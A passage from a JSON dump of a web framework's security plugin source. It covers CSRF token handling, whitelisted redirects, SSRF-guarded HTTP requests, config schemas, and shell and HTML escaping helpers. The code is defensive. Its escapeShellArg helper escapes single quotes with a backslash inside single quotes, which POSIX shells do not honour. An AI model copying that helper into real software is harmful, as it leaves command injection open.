https://w3c.github.io/webappsec/specs/content-security-policy/#nonce_source\n  get nonce(): string {\n    if (!this[NONCE_CACHE]) {\n      this[NONCE_CACHE] = nanoid(16);\n    }\n    return this[NONCE_CACHE] as string;\n  }\n\n  /**\n   * get csrf token, general use in template\n   * @return {String} csrf token\n   * @public\n   */\n  get csrf(): string {\n    // csrfSecret can be rotate, use NEW_CSRF_SECRET first\n    const secret = this[NEW_CSRF_SECRET] || this.getCsrfSecret();\n    debug('get csrf token, NEW_CSRF_SECRET: %s, _CSRF_SECRET: %s', this[NEW_CSRF_SECRET], this.getCsrfSecret());\n    //  In order to protect against BREACH attacks,\n    //  the token is not simply the secret;\n    //  a random salt is prepended to the secret and used to scramble it.\n    //  http://breachattack.com/\n    return secret ? tokens.create(secret as string) : '';\n  }\n\n  /**\n   * get csrf secret from session or cookie\n   * @return {String} csrf secret\n   * @private\n   */\n  private getCsrfSecret(): string {\n    if (this[_CSRF_SECRET]) {\n      return this[_CSRF_SECRET] as string;\n    }\n    let { useSession, sessionName, cookieName: cookieNames, cookieOptions } = this.app.config.security.csrf;\n    // get secret from session or cookie\n    if (useSession) {\n      this[_CSRF_SECRET] = (this.session as any)[sessionName] || '';\n    } else {\n      // cookieName support array. so we can change csrf cookie name smoothly\n      if (!Array.isArray(cookieNames)) {\n        cookieNames = [cookieNames];\n      }\n      for (const cookieName of cookieNames) {\n        this[_CSRF_SECRET] = this.cookies.get(cookieName, { signed: cookieOptions.signed }) || '';\n        if (this[_CSRF_SECRET]) {\n          break;\n        }\n      }\n    }\n    return this[_CSRF_SECRET] as string;\n  }\n\n  /**\n   * ensure csrf secret exists in session or cookie.\n   * @param {Boolean} [rotate] reset secret even if the secret exists\n   * @public\n   */\n  ensureCsrfSecret(rotate?: boolean): void {\n    const csrfSecret = this.getCsrfSecret();\n    if (csrfSecret && !rotate) {\n      return;\n    }\n    debug('ensure csrf secret, exists: %s, rotate; %s', csrfSecret, rotate);\n    const secret = tokens.secretSync();\n    this[NEW_CSRF_SECRET] = secret;\n    let {\n      useSession,\n      sessionName,\n      cookieDomain,\n      cookieName: cookieNames,\n      cookieOptions,\n    } = this.app.config.security.csrf;\n\n    if (useSession) {\n      // TODO(fengmk2): need to refactor egg-session plugin to support ctx.session type define\n      (this.session as any)[sessionName] = secret;\n    } else {\n      if (typeof cookieDomain === 'function') {\n        cookieDomain = cookieDomain(this);\n      }\n      const cookieOpts = {\n        domain: cookieDomain,\n        ...cookieOptions,\n      };\n      // cookieName support array. so we can change csrf cookie name smoothly\n      if (!Array.isArray(cookieNames)) {\n        cookieNames = [cookieNames];\n      }\n      for (const cookieName of cookieNames) {\n        this.cookies.set(cookieName, secret, cookieOpts);\n      }\n    }\n  }\n\n  private getInputToken(): string | undefined {\n    const { headerName, bodyName, queryName } = this.app.config.security.csrf;\n    // try order: query, body, header\n    const token =\n      findToken(this.request.query, queryName) ||\n      findToken(this.request.body, bodyName) ||\n      (headerName && this.request.get<string>(headerName));\n    debug('get token: %j, secret: %j', token, this.getCsrfSecret());\n    return token;\n  }\n\n  /**\n   * rotate csrf secret exists in session or cookie.\n   * must rotate the secret when user login\n   * @public\n   */\n  rotateCsrfSecret(): void {\n    if (!this[NEW_CSRF_SECRET] && this.getCsrfSecret()) {\n      this.ensureCsrfSecret(true);\n    }\n  }\n\n  /**\n   * assert csrf token/referer is present\n   * @public\n   */\n  assertCsrf(): void {\n    if (utils.checkIfIgnore(this.app.config.security.csrf, this)) {\n      debug('%s, ignore by csrf options', this.path);\n      return;\n    }\n\n    const { type } = this.app.config.security.csrf;\n    let message;\n    const messages = [];\n    switch (type) {\n      case 'ctoken':\n        message = this.csrfCtokenCheck();\n        if (message) this.throw(403, message);\n        break;\n      case 'referer':\n        message = this.csrfRefererCheck();\n        if (message) this.throw(403, message);\n        break;\n      case 'all':\n        message = this.csrfCtokenCheck();\n        if (message) this.throw(403, message);\n        message = this.csrfRefererCheck();\n        if (message) this.throw(403, message);\n        break;\n      case 'any':\n        message = this.csrfCtokenCheck();\n        if (!message) return;\n        messages.push(message);\n        message = this.csrfRefererCheck();\n        if (!message) return;\n        messages.push(message);\n        this.throw(403, `both ctoken and referer check error: ${messages.join(', ')}`);\n        break;\n      default:\n        // @oxlint-disable-next-line Invalid type \"never\" of template literal expression\n        this.throw(`invalid type ${type}`);\n    }\n  }\n\n  private csrfCtokenCheck(): string | undefined {\n    const csrfSecret = this.getCsrfSecret();\n    if (!csrfSecret) {\n      debug('missing csrf token');\n      this.logCsrfNotice('missing csrf token');\n      return 'missing csrf token';\n    }\n    const token = this.getInputToken();\n    // AJAX requests get csrf token from cookie, in this situation token will equal to secret\n    // synchronize form requests' token always changing to protect against BREACH attacks\n    if (token !== csrfSecret && !tokens.verify(csrfSecret, token as string)) {\n      debug('verify secret and token error');\n      this.logCsrfNotice('invalid csrf token');\n      const { rotateWhenInvalid } = this.app.config.security.csrf;\n      if (rotateWhenInvalid) {\n        this.rotateCsrfSecret();\n      }\n      return 'invalid csrf token';\n    }\n  }\n\n  private csrfRefererCheck(): string | undefined {\n    const { refererWhiteList } = this.app.config.security.csrf;\n    // check Origin/Referer headers\n    const referer = (this.headers.referer ?? this.headers.origin ?? '').toLowerCase();\n\n    if (!referer) {\n      debug('missing csrf referer or origin');\n      this.logCsrfNotice('missing csrf referer or origin');\n      return 'missing csrf referer or origin';\n    }\n\n    const host = utils.getFromUrl(referer, 'host');\n    const domainList = refererWhiteList.concat(this.host);\n    if (!host || !utils.isSafeDomain(host, domainList)) {\n      debug('verify referer or origin error');\n      this.logCsrfNotice('invalid csrf referer or origin');\n      return 'invalid csrf referer or origin';\n    }\n  }\n\n  private logCsrfNotice(msg: string): void {\n    if (this.app.config.env === 'local') {\n      this.logger.warn(\n        `${msg}. See https://eggjs.org/zh-CN/core/security/#%E5%AE%89%E5%85%A8%E5%A8%81%E8%83%81-csrf-%E7%9A%84%E9%98%B2%E8%8C%83`,\n      );\n    }\n  }\n\n  async safeCurl<T = any>(url: HttpClientRequestURL, options?: HttpClientOptions): Promise<HttpClientResponse<T>> {\n    return await this.app.safeCurl<T>(url, options);\n  }\n\n  unsafeRedirect(url: string, alt?: string): void {\n    this.response.unsafeRedirect(url, alt);\n  }\n}\n"
  },
  {
    "path": "plugins/security/src/app/extend/helper.ts",
    "content": "import helpers from '../../lib/helper/index.ts';\n\nconst securityHelpers: typeof helpers = {\n  ...helpers,\n};\n\nexport default securityHelpers;\n"
  },
  {
    "path": "plugins/security/src/app/extend/response.ts",
    "content": "import { Response } from 'egg';\n\nimport SecurityContext from './context.ts';\n\nconst unsafeRedirect = Response.prototype.redirect;\n\nexport default class SecurityResponse extends Response {\n  declare ctx: SecurityContext;\n\n  /**\n   * This is an unsafe redirection, and we WON'T check if the\n   * destination url is safe or not.\n   * Please DO NOT use this method unless in some very special cases,\n   * otherwise there may be security vulnerabilities.\n   *\n   * @function Response#unsafeRedirect\n   * @param {String} url URL to forward\n   * @example\n   * ```js\n   * ctx.response.unsafeRedirect('http://www.domain.com');\n   * ctx.unsafeRedirect('http://www.domain.com');\n   * ```\n   */\n  unsafeRedirect(url: string, alt?: string): void {\n    unsafeRedirect.call(this, url, alt);\n  }\n\n  // app.response.unsafeRedirect = app.response.redirect;\n  // delegate(app.context, 'response').method('unsafeRedirect');\n  /**\n   * A safe redirection, and we'll check if the URL is in\n   * a safe domain or not.\n   * We've overridden the default Koa's implementation by adding a\n   * white list as the filter for that.\n   *\n   * @function Response#redirect\n   * @param {String} url URL to forward\n   * @example\n   * ```js\n   * ctx.response.redirect('/login');\n   * ctx.redirect('/login');\n   * ```\n   */\n  redirect(url: string, alt?: string): void {\n    url = (url || '/').trim();\n\n    // Process with `//`\n    if (url[0] === '/' && url[1] === '/') {\n      url = '/';\n    }\n\n    // if begin with '/', it means an internal jump\n    if (url[0] === '/' && url[1] !== '\\\\') {\n      this.unsafeRedirect(url, alt);\n      return;\n    }\n\n    let urlObject: URL;\n    try {\n      urlObject = new URL(url);\n    } catch {\n      url = '/';\n      this.unsafeRedirect(url);\n      return;\n    }\n\n    const domainWhiteList = this.app.config.security.domainWhiteList;\n    if (urlObject.protocol !== 'http:' && urlObject.protocol !== 'https:') {\n      url = '/';\n    } else if (!urlObject.hostname) {\n      url = '/';\n    } else {\n      if (domainWhiteList && domainWhiteList.length !== 0) {\n        if (!this.ctx.isSafeDomain(urlObject.hostname)) {\n          const message = `a security problem has been detected for url \"${url}\", redirection is prohibited.`;\n          if (process.env.NODE_ENV === 'production') {\n            this.app.coreLogger.warn('[@eggjs/security/response/redirect] %s', message);\n            url = '/';\n          } else {\n            // Exception will be thrown out in a non-PROD env.\n            return this.ctx.throw(500, message);\n          }\n        }\n      }\n    }\n    this.unsafeRedirect(url);\n  }\n}\n"
  },
  {
    "path": "plugins/security/src/app/middleware/securities.ts",
    "content": "import assert from 'node:assert';\n\nimport { pathMatching } from '@eggjs/path-matching';\nimport type { Application, MiddlewareFunc } from 'egg';\nimport compose from 'koa-compose';\n\nimport type { SecurityMiddlewareName } from '../../config/config.default.ts';\nimport securityMiddlewares from '../../lib/middlewares/index.ts';\n\nexport default (_: unknown, app: Application): MiddlewareFunc => {\n  const options = app.config.security;\n  const middlewares: MiddlewareFunc[] = [];\n  const defaultMiddlewares =\n    typeof options.defaultMiddleware === 'string'\n      ? (options.defaultMiddleware\n          .split(',')\n          .map((m) => m.trim())\n          .filter((m) => !!m) as SecurityMiddlewareName[])\n      : options.defaultMiddleware;\n\n  if (options.match || options.ignore) {\n    app.coreLogger.warn('[@eggjs/security/middleware/securities] Please set `match` or `ignore` on sub config');\n  }\n\n  // format csrf.cookieDomain\n  const originalCookieDomain = options.csrf.cookieDomain;\n  if (originalCookieDomain && typeof originalCookieDomain !== 'function') {\n    options.csrf.cookieDomain = () => originalCookieDomain;\n  }\n\n  defaultMiddlewares.forEach((middlewareName: SecurityMiddlewareName) => {\n    const opt = Reflect.get(options, middlewareName) as any;\n    if (opt === false) {\n      app.coreLogger.warn(\n        '[egg-security] Please use `config.security.%s = { enable: false }` instead of `config.security.%s = false`',\n        middlewareName,\n        middlewareName,\n      );\n    }\n\n    assert(\n      opt === false || typeof opt === 'object',\n      `config.security.${middlewareName} must be an object, or false(if you turn it off)`,\n    );\n\n    if (opt === false || (opt && opt.enable === false)) {\n      return;\n    }\n\n    if (middlewareName === 'csrf' && opt.useSession && !app.plugins.session) {\n      throw new Error('csrf.useSession enabled, but session plugin is disabled');\n    }\n\n    // use opt.match first (compatibility)\n    if (opt.match && opt.ignore) {\n      app.coreLogger.warn(\n        '[@eggjs/security/middleware/securities] `options.match` and `options.ignore` are both set, using `options.match`',\n      );\n      opt.ignore = undefined;\n    }\n    if (!opt.ignore && opt.blackUrls) {\n      app.deprecate(\n        '[@eggjs/security/middleware/securities] Please use `config.security.xframe.ignore` instead, `config.security.xframe.blackUrls` will be removed very soon',\n      );\n      opt.ignore = opt.blackUrls;\n    }\n    // set matching function to security middleware options\n    opt.matching = pathMatching(opt);\n\n    const createMiddleware = securityMiddlewares[middlewareName as keyof typeof securityMiddlewares];\n    const fn = createMiddleware(opt);\n    middlewares.push(fn);\n    app.coreLogger.info('[@eggjs/security/middleware/securities] use %s middleware', middlewareName);\n  });\n\n  app.coreLogger.info(\n    '[@eggjs/security/middleware/securities] compose %d middlewares into one security middleware',\n    middlewares.length,\n  );\n  return compose(middlewares);\n};\n"
  },
  {
    "path": "plugins/security/src/app.ts",
    "content": "import type { ILifecycleBoot, Application } from 'egg';\n\nimport { SecurityConfig } from './config/config.default.ts';\nimport { preprocessConfig } from './lib/utils.ts';\n\nexport default class AppBoot implements ILifecycleBoot {\n  private readonly app;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  configWillLoad(): void {\n    const app = this.app;\n    app.config.coreMiddleware.push('securities');\n    // parse config and check if config is legal\n    const parsed = SecurityConfig.parse(app.config.security);\n    if (typeof app.config.security.csrf === 'boolean') {\n      // support old config: `config.security.csrf = false`\n      app.config.security.csrf = parsed.csrf;\n    }\n\n    if (app.config.security.csrf.enable) {\n      const { ignoreJSON } = app.config.security.csrf;\n      if (ignoreJSON) {\n        app.deprecate('[@eggjs/security/app] `config.security.csrf.ignoreJSON` is not safe now, please disable it.');\n      }\n    }\n\n    preprocessConfig(app.config.security);\n  }\n}\n"
  },
  {
    "path": "plugins/security/src/config/config.default.ts",
    "content": "import { Context } from 'egg';\nimport z from 'zod';\n\nconst CSRFSupportRequestItem: z.ZodObject<{\n  path: z.ZodType<RegExp>;\n  methods: z.ZodArray<z.ZodString>;\n}> = z.object({\n  path: z.instanceof(RegExp),\n  methods: z.array(z.string()),\n});\nexport type CSRFSupportRequestItem = z.infer<typeof CSRFSupportRequestItem>;\n\nexport const LookupAddress = z.object({\n  address: z.string(),\n  family: z.number(),\n}) satisfies z.ZodObject<{\n  address: z.ZodString;\n  family: z.ZodNumber;\n}> as z.ZodObject<{\n  address: z.ZodString;\n  family: z.ZodNumber;\n}>;\nexport type LookupAddress = z.infer<typeof LookupAddress>;\n\nconst LookupAddressAndStringArray: z.ZodArray<z.ZodUnion<[z.ZodString, typeof LookupAddress]>> = z\n  .union([z.string(), LookupAddress])\n  .array();\nconst SSRFCheckAddressFunction: z.ZodFunction<\n  z.ZodTuple<\n    [\n      z.ZodUnion<[z.ZodString, typeof LookupAddress, typeof LookupAddressAndStringArray]>,\n      z.ZodUnion<[z.ZodNumber, z.ZodString]>,\n      z.ZodString,\n    ],\n    z.ZodUnknown\n  >,\n  z.ZodBoolean\n> = z\n  .function()\n  .args(\n    z.union([z.string(), LookupAddress, LookupAddressAndStringArray]),\n    z.union([z.number(), z.string()]),\n    z.string(),\n  )\n  .returns(z.boolean());\n/**\n * SSRF check address function\n * `(address, family, hostname) => boolean`\n */\nexport type SSRFCheckAddressFunction = z.infer<typeof SSRFCheckAddressFunction>;\n\nexport const SecurityMiddlewareName: z.ZodEnum<\n  ['csrf', 'hsts', 'methodnoallow', 'noopen', 'nosniff', 'csp', 'xssProtection', 'xframe', 'dta']\n> = z.enum(['csrf', 'hsts', 'methodnoallow', 'noopen', 'nosniff', 'csp', 'xssProtection', 'xframe', 'dta']);\nexport type SecurityMiddlewareName = z.infer<typeof SecurityMiddlewareName>;\n\n/**\n * (ctx) => boolean\n */\nconst IgnoreOrMatchHandler: z.ZodFunction<z.ZodTuple<[z.ZodType<Context>], z.ZodUnknown>, z.ZodBoolean> = z\n  .function()\n  .args(z.instanceof(Context))\n  .returns(z.boolean());\nexport type IgnoreOrMatchHandler = z.infer<typeof IgnoreOrMatchHandler>;\n\nconst IgnoreOrMatch: z.ZodUnion<[z.ZodString, z.ZodType<RegExp>, typeof IgnoreOrMatchHandler]> = z.union([\n  z.string(),\n  z.instanceof(RegExp),\n  IgnoreOrMatchHandler,\n]);\nexport type IgnoreOrMatch = z.infer<typeof IgnoreOrMatch>;\n\nconst IgnoreOrMatchOption: z.ZodOptional<z.ZodUnion<[typeof IgnoreOrMatch, z.ZodArray<typeof IgnoreOrMatch>]>> = z\n  .union([IgnoreOrMatch, IgnoreOrMatch.array()])\n  .optional();\nexport type IgnoreOrMatchOption = z.infer<typeof IgnoreOrMatchOption>;\n\nexport const SecurityConfig: z.ZodObject<any> = z.object({\n  /**\n   * domain white list\n   *\n   * Default to `[]`\n   */\n  domainWhiteList: z.array(z.string()).default([]),\n  /**\n   * protocol white list\n   *\n   * Default to `[]`\n   */\n  protocolWhiteList: z.array(z.string()).default([]),\n  /**\n   * default open security middleware\n   *\n   * Default to `'csrf,hsts,methodnoallow,noopen,nosniff,csp,xssProtection,xframe,dta'`\n   */\n  defaultMiddleware: z.union([z.string(), z.array(SecurityMiddlewareName)]).default(SecurityMiddlewareName.options),\n  /**\n   * whether defend csrf attack\n   */\n  csrf: z.preprocess(\n    (val) => {\n      // transform old config, `csrf: false` to `csrf: { enable: false }`\n      if (typeof val === 'boolean') {\n        return { enable: val };\n      }\n      return val;\n    },\n    z\n      .object({\n        match: IgnoreOrMatchOption,\n        ignore: IgnoreOrMatchOption,\n        /**\n         * Default to `true`\n         */\n        enable: z.boolean().default(true),\n        /**\n         * csrf token detect source type\n         *\n         * Default to `'ctoken'`\n         */\n        type: z.enum(['ctoken', 'referer', 'all', 'any']).default('ctoken'),\n        /**\n         * ignore json request\n         *\n         * Default to `false`\n         *\n         * @deprecated is not safe now, don't use it\n         */\n        ignoreJSON: z.boolean().default(false),\n        /**\n         * csrf token cookie name\n         *\n         * Default to `'csrfToken'`\n         */\n        cookieName: z.union([z.string(), z.array(z.string())]).default('csrfToken'),\n        /**\n         * csrf token session name\n         *\n         * Default to `'csrfToken'`\n         */\n        sessionName: z.string().default('csrfToken'),\n        /**\n         * csrf token request header name\n         *\n         * Default to `'x-csrf-token'`\n         */\n        headerName: z.string().default('x-csrf-token'),\n        /**\n         * csrf token request body field name\n         *\n         * Default to `'_csrf'`\n         */\n        bodyName: z.union([z.string(), z.array(z.string())]).default('_csrf'),\n        /**\n         * csrf token request query field name\n         *\n         * Default to `'_csrf'`\n         */\n        queryName: z.union([z.string(), z.array(z.string())]).default('_csrf'),\n        /**\n         * rotate csrf token when it is invalid\n         *\n         * Default to `false`\n         */\n        rotateWhenInvalid: z.boolean().default(false),\n        /**\n         * These config works when using `'ctoken'` type\n         *\n         * Default to `false`\n         */\n        useSession: z.boolean().default(false),\n        /**\n         * csrf token cookie domain setting,\n         * can be `(ctx) => string` or `string`\n         *\n         * Default to `undefined`, auto set the cookie domain in the safe way\n         */\n        cookieDomain: z.union([z.string(), z.function().args(z.instanceof(Context)).returns(z.string())]).optional(),\n        /**\n         * csrf token check requests config\n         */\n        supportedRequests: z.array(CSRFSupportRequestItem).default([\n          {\n            path: /^\\//,\n            methods: ['POST', 'PATCH', 'DELETE', 'PUT', 'CONNECT'],\n          },\n        ]),\n        /**\n         * referer or origin header white list.\n         * It only works when using `'referer'` type\n         *\n         * Default to `[]`\n         */\n        refererWhiteList: z.array(z.string()).default([]),\n        /**\n         * csrf token cookie options\n         *\n         * Default to `{\n         *   signed: false,\n         *   httpOnly: false,\n         *   overwrite: true,\n         * }`\n         */\n        cookieOptions: z\n          .object({\n            signed: z.boolean(),\n            httpOnly: z.boolean(),\n            overwrite: z.boolean(),\n          })\n          .default({\n            signed: false,\n            httpOnly: false,\n            overwrite: true,\n          }),\n      })\n      .default({}),\n  ),\n  /**\n   * whether enable X-Frame-Options response header\n   */\n  xframe: z\n    .object({\n      match: IgnoreOrMatchOption,\n      ignore: IgnoreOrMatchOption,\n      /**\n       * Default to `true`\n       */\n      enable: z.boolean().default(true),\n      /**\n       * X-Frame-Options value, can be `'DENY'`, `'SAMEORIGIN'`, `'ALLOW-FROM https://example.com'`\n       *\n       * Default to `'SAMEORIGIN'`\n       */\n      value: z.string().default('SAMEORIGIN'),\n    })\n    .default({}),\n  /**\n   * whether enable Strict-Transport-Security response header\n   */\n  hsts: z\n    .object({\n      match: IgnoreOrMatchOption,\n      ignore: IgnoreOrMatchOption,\n      /**\n       * Default to `false`\n       */\n      enable: z.boolean().default(false),\n      /**\n       * Max age of Strict-Transport-Security in seconds\n       *\n       * Default to `365 * 24 * 3600`\n       */\n      maxAge: z.number().default(365 * 24 * 3600),\n      /**\n       * Whether include sub domains\n       *\n       * Default to `false`\n       */\n      includeSubdomains: z.boolean().default(false),\n    })\n    .default({}),\n  /**\n   * whether enable Http Method filter\n   */\n  methodnoallow: z\n    .object({\n      match: IgnoreOrMatchOption,\n      ignore: IgnoreOrMatchOption,\n      /**\n       * Default to `true`\n       */\n      enable: z.boolean().default(true),\n    })\n    .default({}),\n  /**\n   * whether enable IE automatically download open\n   */\n  noopen: z\n    .object({\n      match: IgnoreOrMatchOption,\n      ignore: IgnoreOrMatchOption,\n      /**\n       * Default to `true`\n       */\n      enable: z.boolean().default(true),\n    })\n    .default({}),\n  /**\n   * whether enable IE8 automatically detect mime\n   */\n  nosniff: z\n    .object({\n      match: IgnoreOrMatchOption,\n      ignore: IgnoreOrMatchOption,\n      /**\n       * Default to `true`\n       */\n      enable: z.boolean().default(true),\n    })\n    .default({}),\n  /**\n   * whether enable IE8 XSS Filter\n   */\n  xssProtection: z\n    .object({\n      match: IgnoreOrMatchOption,\n      ignore: IgnoreOrMatchOption,\n      /**\n       * Default to `true`\n       */\n      enable: z.boolean().default(true),\n      /**\n       * X-XSS-Protection response header value\n       *\n       * Default to `'1; mode=block'`\n       */\n      value: z.coerce.string().default('1; mode=block'),\n    })\n    .default({}),\n  /**\n   * content security policy config\n   */\n  csp: z\n    .object({\n      match: IgnoreOrMatchOption,\n      ignore: IgnoreOrMatchOption,\n      /**\n       * Default to `false`\n       */\n      enable: z.boolean().default(false),\n      // https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#csp_overview\n      policy: z.record(z.union([z.string(), z.array(z.string()), z.boolean()])).default({}),\n      /**\n       * whether enable report only mode\n       * Default to `undefined`\n       */\n      reportOnly: z.boolean().optional(),\n      /**\n       * whether support IE\n       * Default to `undefined`\n       */\n      supportIE: z.boolean().optional(),\n    })\n    .default({}),\n  /**\n   * whether enable referrer policy\n   * @see https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy\n   */\n  referrerPolicy: z\n    .object({\n      match: IgnoreOrMatchOption,\n      ignore: IgnoreOrMatchOption,\n      /**\n       * Default to `false`\n       */\n      enable: z.boolean().default(false),\n      /**\n       * referrer policy value\n       *\n       * Default to `'no-referrer-when-downgrade'`\n       */\n      value: z.string().default('no-referrer-when-downgrade'),\n    })\n    .default({}),\n  /**\n   * whether enable auto avoid directory traversal attack\n   */\n  dta: z\n    .object({\n      match: IgnoreOrMatchOption,\n      ignore: IgnoreOrMatchOption,\n      /**\n       * Default to `true`\n       */\n      enable: z.boolean().default(true),\n    })\n    .default({}),\n  ssrf: z\n    .object({\n      ipBlackList: z.array(z.string()).optional(),\n      ipExceptionList: z.array(z.string()).optional(),\n      hostnameExceptionList: z.array(z.string()).optional(),\n      checkAddress: SSRFCheckAddressFunction.optional(),\n    })\n    .default({}),\n  match: z.union([IgnoreOrMatch, IgnoreOrMatch.array()]).optional(),\n  ignore: z.union([IgnoreOrMatch, IgnoreOrMatch.array()]).optional(),\n  __protocolWhiteListSet: z.set(z.string()).optional().readonly(),\n});\nexport type SecurityConfig = z.infer<typeof SecurityConfig>;\n\nconst SecurityHelperOnTagAttrHandler: z.ZodFunction<\n  z.ZodTuple<[z.ZodString, z.ZodString, z.ZodString, z.ZodBoolean], z.ZodUnknown>,\n  z.ZodUnion<[z.ZodString, z.ZodVoid]>\n> = z\n  .function()\n  .args(z.string(), z.string(), z.string(), z.boolean())\n  .returns(z.union([z.string(), z.void()]));\n\n/**\n * (tag: string, name: string, value: string, isWhiteAttr: boolean) => string | void\n */\nexport type SecurityHelperOnTagAttrHandler = z.infer<typeof SecurityHelperOnTagAttrHandler>;\n\nexport const SecurityHelperConfig: z.ZodObject<any> = z.object({\n  shtml: z\n    .object({\n      /**\n       * tag attribute white list\n       */\n      whiteList: z.record(z.array(z.string())).optional(),\n      /**\n       * domain white list\n       * @deprecated use `config.security.domainWhiteList` instead\n       */\n      domainWhiteList: z.array(z.string()).optional(),\n      /**\n       * tag attribute handler\n       */\n      onTagAttr: SecurityHelperOnTagAttrHandler.optional(),\n    })\n    .default({}),\n});\nexport type SecurityHelperConfig = z.infer<typeof SecurityHelperConfig>;\n\ninterface PluginConfig {\n  security: SecurityConfig;\n  helper: SecurityHelperConfig;\n}\n\nconst config = {\n  security: SecurityConfig.parse({}) satisfies SecurityConfig as SecurityConfig,\n  helper: SecurityHelperConfig.parse({}) satisfies SecurityHelperConfig as SecurityHelperConfig,\n} satisfies PluginConfig as PluginConfig;\n\nexport default config;\n"
  },
  {
    "path": "plugins/security/src/config/config.local.ts",
    "content": "import type { PartialEggConfig } from 'egg';\n\nconst config: PartialEggConfig = {\n  security: {\n    hsts: {\n      enable: false,\n    },\n  },\n};\n\nexport default config;\n"
  },
  {
    "path": "plugins/security/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\n/**\n * Security plugin\n *\n * @since 4.1.0\n * Usage:\n * ```ts\n * // config/plugin.ts\n * import securityPlugin from '@eggjs/security';\n *\n * export default {\n *   ...securityPlugin(),\n * };\n * ```\n */\nexport default definePluginFactory({\n  name: 'security',\n  enable: true,\n  path: import.meta.dirname,\n  optionalDependencies: ['session'],\n}) as EggPluginFactory;\n"
  },
  {
    "path": "plugins/security/src/lib/extend/safe_curl.ts",
    "content": "import type { EggApplicationCore } from 'egg';\n\nimport type { SSRFCheckAddressFunction } from '../../config/config.default.ts';\n\nconst SSRF_HTTPCLIENT = Symbol('SSRF_HTTPCLIENT');\n\ntype HttpClient = EggApplicationCore['HttpClient'];\ntype HttpClientParameters = Parameters<HttpClient['prototype']['request']>;\nexport type HttpClientRequestURL = HttpClientParameters[0];\nexport type HttpClientOptions = HttpClientParameters[1] & {\n  checkAddress?: SSRFCheckAddressFunction;\n};\nexport type HttpClientResponse<T = any> = Awaited<ReturnType<HttpClient['prototype']['request']>> & { data: T };\n\n/**\n * safe curl with ssrf protection\n */\nexport async function safeCurlForApplication<T = any>(\n  app: EggApplicationCore,\n  url: HttpClientRequestURL,\n  options: HttpClientOptions = {},\n): Promise<HttpClientResponse<T>> {\n  const ssrfConfig = app.config.security.ssrf;\n  if (ssrfConfig?.checkAddress) {\n    options.checkAddress = ssrfConfig.checkAddress;\n  } else {\n    app.logger.warn('[@eggjs/security] please configure `config.security.ssrf` first');\n  }\n\n  if (ssrfConfig?.checkAddress) {\n    let httpClient = app[SSRF_HTTPCLIENT] as ReturnType<EggApplicationCore['createHttpClient']>;\n    // use the new httpClient init with checkAddress\n    if (!httpClient) {\n      httpClient = app[SSRF_HTTPCLIENT] = app.createHttpClient({\n        checkAddress: ssrfConfig.checkAddress,\n      });\n    }\n    return await httpClient.request<T>(url, options);\n  }\n\n  return await app.curl<T>(url, options);\n}\n"
  },
  {
    "path": "plugins/security/src/lib/helper/cliFilter.ts",
    "content": "/**\n * remote command execution\n */\n\nconst BASIC_ALPHABETS = new Set('abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ.-_'.split(''));\n\nexport default function cliFilter(text: string): string {\n  const str = '' + text;\n  let res = '';\n  let ascii;\n\n  for (let index = 0; index < str.length; index++) {\n    ascii = str[index];\n    if (BASIC_ALPHABETS.has(ascii)) {\n      res += ascii;\n    }\n  }\n\n  return res;\n}\n"
  },
  {
    "path": "plugins/security/src/lib/helper/escape.ts",
    "content": "import escapeHTML from 'escape-html';\n\nexport default escapeHTML;\n"
  },
  {
    "path": "plugins/security/src/lib/helper/escapeShellArg.ts",
    "content": "export default function escapeShellArg(text: string): string {\n  const str = '' + text;\n  return \"'\" + str.replace(/\\\\/g, '\\\\\\\\').replace(/'/g, \"\\\\'\") + \"'\";\n}\n"
  },
  {
    "path": "plugins/security/src/lib/helper/escapeShellCmd.ts",
    "content": "const BASIC_ALPHABETS = new Set('#&;`|*?~<>^()[]{}$;\\'\",\\x0A\\xFF'.split(''));\n\nexport default function escapeShellCmd(text: string): string {\n  const str = '' + text;\n  let res = '';\n  let ascii;\n\n  for (let index = 0; index < str.length; index++) {\n    ascii = str[index];\n    if (!BASIC_ALPHABETS.has(ascii)) {\n      res += ascii;\n    }\n  }\n\n  return res;\n}\n"
  },
  {
    "path": "plugins/security/src/lib/helper/index.ts",
    "content": "import cliFilter from './cliFilter.ts';\nimport escape from './escape.ts';\nimport escapeShellArg from './escapeShellArg.ts';\nimport escapeShellCmd from './escapeShellCmd.ts';\nimport shtml from './shtml.ts';\nimport sjs from './sjs.ts';\nimport sjson from './sjson.ts';\nimport spath from './spath.ts';\nimport surl from './surl.ts';\n\nconst helpers: {\n  cliFilter: typeof cliFilter;\n  escape: typeof escape;\n  escapeShellArg: typeof escapeShellArg;\n  escapeShellCmd: typeof escapeShellCmd;\n  shtml: typeof shtml;\n  sjs: typeof sjs;\n  sjson: typeof sjson;\n  spath: typeof spath;\n  surl: typeof surl;\n} = {\n  cliFilter,\n  escape,\n  escapeShellArg,\n  escapeShellCmd,\n  shtml,\n  sjs,\n  sjson,\n  spath,\n  surl,\n};\n\nexport default helpers;\n"
  },
  {
    "path": "plugins/security/src/lib/helper/shtml.ts",
    "content": "import type { BaseContextClass } from 'egg';\nimport xss from 'xss';\n\nimport type { SecurityHelperOnTagAttrHandler } from '../../config/config.default.ts';\nimport { isSafeDomain, getFromUrl } from '../utils.ts';\n\nconst BUILD_IN_ON_TAG_ATTR = Symbol('buildInOnTagAttr');\n\n// default rule: https://github.com/leizongmin/js-xss/blob/master/lib/default.js\n// add domain filter based on xss module\n// custom options http://jsxss.com/zh/options.html\n// eg: support a tag，filter attributes except for title : whiteList: {a: ['title']}\nexport default function shtml(this: BaseContextClass, val: string): string {\n  if (typeof val !== 'string') {\n    return val;\n  }\n\n  const securityOptions = this.ctx.securityOptions;\n  const shtmlConfig = {\n    ...this.app.config.helper.shtml,\n    ...securityOptions.shtml,\n    [BUILD_IN_ON_TAG_ATTR]: undefined as SecurityHelperOnTagAttrHandler | undefined,\n  };\n  const domainWhiteList = this.app.config.security.domainWhiteList;\n  const app = this.app;\n  // filter href and src attribute if not in domain white list\n  if (!shtmlConfig[BUILD_IN_ON_TAG_ATTR]) {\n    shtmlConfig[BUILD_IN_ON_TAG_ATTR] = (\n      _tag: string,\n      name: string,\n      value: string,\n      isWhiteAttr: boolean,\n    ): string | void => {\n      if (isWhiteAttr && (name === 'href' || name === 'src')) {\n        if (!value) {\n          return;\n        }\n\n        value = String(value);\n        if 